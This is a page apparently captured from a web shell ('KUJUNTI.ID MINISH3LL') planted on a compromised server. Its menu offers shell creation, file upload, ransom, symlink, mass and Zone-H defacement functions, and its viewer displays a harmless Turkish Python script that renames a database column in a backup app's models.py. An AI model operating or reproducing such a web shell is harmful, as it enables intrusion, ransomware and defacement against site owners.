\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv8/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv8/fix_models_py.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
models.py dosyasındaki BackupLog sınıfında parent_backup_id yerine parent_log_id kullanılması için düzeltme scripti.
"""

import os
import sys
import re
import logging
from pathlib import Path

# Logging ayarları
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

def fix_models_py():
    """models.py dosyasında parent_backup_id -> parent_log_id değişikliğini yapar."""
    try:
        # models.py dosyasının yolunu bul
        models_path = Path(os.getcwd()) / "models.py"
        
        if not models_path.exists():
            logger.error(f"models.py dosyası bulunamadı: {models_path}")
            return False
        
        # Dosya içeriğini oku
        with open(models_path, 'r', encoding='utf-8') as file:
            content = file.read()
        
        # parent_backup_id -> parent_log_id değişikliğini yap
        pattern1 = r'parent_backup_id\s*=\s*db\.Column\(db\.Integer,\s*db\.ForeignKey\(\'backup_log\.id\',\s*name=\'fk_parent_backup\'\),\s*nullable=True\)'
        replacement1 = 'parent_log_id = db.Column(db.Integer, db.ForeignKey(\'backup_log.id\', name=\'fk_parent_backup\'), nullable=True)'
        
        new_content = re.sub(pattern1, replacement1, content)
        
        # İlişki tanımlamasını da güncelle
        pattern2 = r'parent_backup\s*=\s*db\.relationship\(\'BackupLog\',\s*remote_side=\[id\],\s*backref=\'child_backups\'\)'
        replacement2 = 'parent_backup = db.relationship(\'BackupLog\', remote_side=[id], backref=\'child_backups\', foreign_keys=[parent_log_id])'
        
        new_content = re.sub(pattern2, replacement2, new_content)
        
        # Dosyaya geri yaz
        with open(models_path, 'w', encoding='utf-8') as file:
            file.write(new_content)
        
        logger.info(f"models.py dosyası başarıyla güncellendi.")
        return True
        
    except Exception as e:
        logger.error(f"models.py dosyası güncellenirken hata oluştu: {str(e)}")
        return False

def main():
    """Ana fonksiyon"""
    logger.info("models.py düzeltme scripti başlatılıyor...")
    
    if fix_models_py():
        logger.info("models.py dosyası başarıyla güncellendi.")
        logger.info("Şimdi uygulamayı yeniden başlatın: sudo systemctl restart yedekledb24")
    else:
        logger.error("models.py dosyası güncellenemedi!")
        sys.exit(1)

if __name__ == "__main__":
    main()

© KUJUNTI.ID